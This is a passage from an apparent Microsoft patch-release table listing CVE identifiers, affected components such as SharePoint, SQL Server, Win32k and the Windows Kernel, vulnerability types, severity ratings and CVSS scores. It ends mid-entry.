CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System 